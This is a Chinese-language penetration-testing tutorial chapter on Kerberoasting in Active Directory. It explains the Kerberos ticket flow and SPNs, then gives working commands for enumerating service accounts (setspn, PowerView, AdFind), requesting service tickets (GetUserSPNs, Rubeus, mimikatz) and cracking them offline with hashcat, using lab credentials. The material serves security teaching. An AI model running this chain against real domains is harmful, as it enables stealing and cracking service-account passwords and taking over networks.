内网渗透
01基础知识
02域环境的搭建
03工作组权限
04域内权限
05Windows本地认证
06网络认证
07Kerberos协议
08工作组的信息搜集
09域内的信息搜集
10工作组的密码抓取
11域内的密码抓取
12Dcsync原理以及攻击
13RDP密码凭证抓取
14横向移动概述
15IPC$横向移动
16PTH哈希传递
17PTK密钥传递
18PTT票据传递
19PSexec进行横向移动
20SMBexec进行横向移动
21利用WinRM服务进行横向移动
22利用WMI进行横向移动
23用户枚举与喷洒
24用户枚举与喷洒-实验
25Roasting攻击
26Kerberoasting
27黄金票据
28黄金票据-实验
29白银票据
30白银票据-实验
31委派概述
32非约束性委派攻击
33约束性委派攻击
34约束性委派攻击-实验
35基于资源的约束性委派
36基于资源的约束性委派-实验
-
+
首页
26Kerberoasting
## Kerberoasting Kerberoasting 是域渗透中经常使用的一项技术,Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。 ## 原理 > TGS-REP TGS-REP是由TGS发送给客户端的,其中包含 - ticket:ST票据 - 第一个enc-part值:ticket中的part是使用服务密钥的加密内容(server hash加密) - 第二个enc-part值:外层的part值是使用CT_SK加密的(CT_SK加密)  ST票据的加密使用的是aes256,可以通过将算法变为RC4_HMAC_MD5就比较容易破解。 > 用户解密后重新封装的TGT  > TGS封装ST发送给客户端  > TGS收到用户TGT后做出的动作 1. TGS接收到请求之后,首先检查自身是否存在客户端请求的服务(查询SPN) 2. 如果服务存在,则通过krbtgt用户的NTLM HASH解密TGT,并得到CT_SK(Login Session Key) 3. 解密成功后,使用CT_SK解密CT_SK加密的内容,然后检查里面的数据内容 > 解密TGT成功之后的动作 1. 使用CT_SK加密CS_SK(Service Session Key)最外层的enc-part值 2. ST包含了客户端用户信息和原始的CS_SK 3. 最终Service Session Key和ST服务票据发送给客户端 也就是说不管用户有没有访问服务的权限,只要TGT正确,都会返回ST服务票据。这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据。 > 攻击原理 - ST票据的加密方式为aes256,但可以使用MD5加密 - 在TGS认证TGT的时候,不管用户是否有访问服务的权限,都会返回目标服务的ST票据 ## SPN ### 概述 服务主体名称(Server Principal Name)SPN,是服务实例的唯一标识符。 Kerberos身份验证使用SPN将服务实例与服务账户进行关联,在域中如果有多个服务,那么每个服务都必须有自己的SPN和用户。 一个用户可以有多个SPN,但是一个SPN只能对应一个服务,SPN必须注册在用户下。  简述 - SPN:服务主体名称,将服务用户和服务进行关联 - 服务用户:用于登录运行服务的用户 - 服务:运行在计算机上的服务 > 命令格式 ``` <serviceclass>/<host>:<port>/<service name> ``` 两个必须元素:serviceclass为服务类,host为服务所在的主机名字 例如:Mysql/SQL.xbxaq.com  > SPN注册在机器用户下 计算机加入域后,机器用户(主机名$)会同步到域控。 服务权限为local system或者Network service的服务都会自动注册在机器用户下 > SPN注册在域用户下 SPN可以注册在域内用户中,默认只有机器用户或者域管理员才有权限去注册SPN(将服务注册在域用户的权限)。 域内的普通用户如果要进行注册,需要修改权限。 > SPN服务查询命令 ``` setspn -Q */* ```  提示:第二个CN为Computers的用户即为机器用户,为Users的用户为域用户 > SPN注册注意事项 在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并且注册到了用户上。 注册SPN有两种方式: - 系统自动完成注册,例如安装的SQL等服务 - 手动注册,根据SPN的格式进行手动注册 注册SPN的用户有两种: - 注册在机器用户下(机器名$) - 注册在域用户下 提示:在注册SPN的时候只有机器用户或者域管理员用户才有权限,普通的域用户默认是没有权限的,除非修改相关的设置。 > 手动注册SPN ``` setspn -U -S HTTP/zhangsan.xbxaq.com:443 zhangsan 手动注册一个HTTP服务到zhangsan机器上,注册的域内用户是zhangsan ```  ``` setspn -C -S MAIL/zhangsan.xbxaq.com:25 ZHANGSAN 手动注册一个邮箱服务到zhangsan机器上,注册的机器用户是ZHANGSAN ```  > 如果SPN注册在机器用户下 大致流程为 - A计算机提供TGT和需要访问的服务 - TGS检查服务名与对应的SPN - TGS发现SPN中存在对应的服务名,例如为MYSQL - SPN中MYSQL服务名对应的用户为SQL$ 机器用户 - 生成ST票据返回给A计算机(则ST票据使用的是SQL$-HASH进行加密) 那么在这个过程中我们是无法使用kerberoasting,因为机器用户的密码是非常难以破解的 > 如果SPN注册在域内用户下 大致流程为 - A计算机提供TGT和需要访问的服务 - TGS检查服务名与对应的SPN - TGS发现SPN中存在对应的服务名,例如MYSQL - SPN中MYSQL服务名对应的用户是ZHANGSAN - 生成ST票据返回给A计算机(则ST票据使用的是ZHANGSAN-hash值进行加密) ### SPN探测 在控制一台内网主机后,可以探测域内注册的SPN。原理是使用LDAP协议进行查询 SPN探测分为域内主机探测和非域内主机探测。 ### 域内探测 如果控制的计算机已经加入域,并且使用域用户进行了登录,即使没有提权到system用户,也可以进行查询。 > setspn命令 查询所有的SPN ``` setspn -Q */* ```  查询指定域内的SPN ``` setspn -T 域名 -Q */* ```  > PowerView脚本 注意:该脚本只能查询域用户注册的SPN,无法查询机器用户注册的SPN。 ``` Import-Module .\Powerview.ps1 Get-NetUser -SPN ```  > GetUserSPNs脚本  > adfind工具 ``` AdFind.exe -b "dc=xbxaq,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName ```  ### 非域内探测 对于非域内的主机,可以通过adfind工具,但是必须提供一个域内的账号密码,否则没有办法通过 kerberos协议,除非发现kerberos协议的漏洞。 > adfind工具 ``` AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)" servicePrincipalName ```  > 查找高权限用户的SPN ``` AdFind.exe -h 192.168.110.10:389 -u xbxaq\ZHANGSAN -up a1b2c3.. -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName ```  ### 获取高权限SPN服务票据 > 概述 获取SPN的目标就是用于破解SPN对应的账户密码,但是SPN可以注册在机器用户与域用户中。 - 机器用户的密码获取非常困难,因为机器用户的密码是随机的 - SPN可以注册在任何域用户下,故需要查询高权限的域用户SPN 过滤出SPN之后,就需要针对该类用户进行ST的申请 - 正常申请ST后进行破解属于kerberoasting - 伪造ST属于白银票据 > 申请ST票据--GetUserSPNs工具 域内和非域内计算机都可以使用,这里在非域内计算机上进行执行 获取所有已注册SPN的域内用户ST票据 ``` GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt ```  获取指定的已注册SPN用户的ST票据 ``` GetUserSPNs.exe -request -dc-ip 192.168.110.10 xbxaq.com/zhangsan:a1b2c3.. -outputfile st.txt -request-user zhangsan ```  使用该工具获取的ST票据为MD5加密  > 申请ST票据--Rubeus工具 该工具只能用于域内机器 目标是一个hash值 ``` Rubeus.exe kerberoast /format:john /outfile:hash.txt ```  > 申请ST票据--mimikatz工具 条件:当前域用户已经注册过SPN,且权限较高 首先查看当前域用户是否中注册过SPN ``` setspn -Q */* ```  使用mimikatz工具直接申请ST票据,从内存中导出 ``` kerberos::ask /target:HTTP/zhangsan #申请票据 ```  ``` kerberos::list /export #导出所有票据 ```  ## 破解ST票据hash值 因为获取ST票据的工具不同,所以格式也有所不同,有kirbi格式也有hash值格式。 > 破解kirbi格式-tgsrepcrack.py脚本 注意:tgsrepcrack.py脚本为python2环境 ``` python2 tgsrepcrack.py 密码字典 票据 ```  需要安装kerberos库 > 破解hash值--hashcat ``` Hashcat –m 13100 hash pass --force ```  由于环境问题,本机没有安装CUDA,故没有成功(CUDA 是 NVIDIA 发明的一种并行计算平台和编程模型) CUDA的安装可参考这篇文章[windows11安装hashcat遇到的问题](https://blog.csdn.net/maxiluo/article/details/132689828)
毛林
2025年9月7日 11:39
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码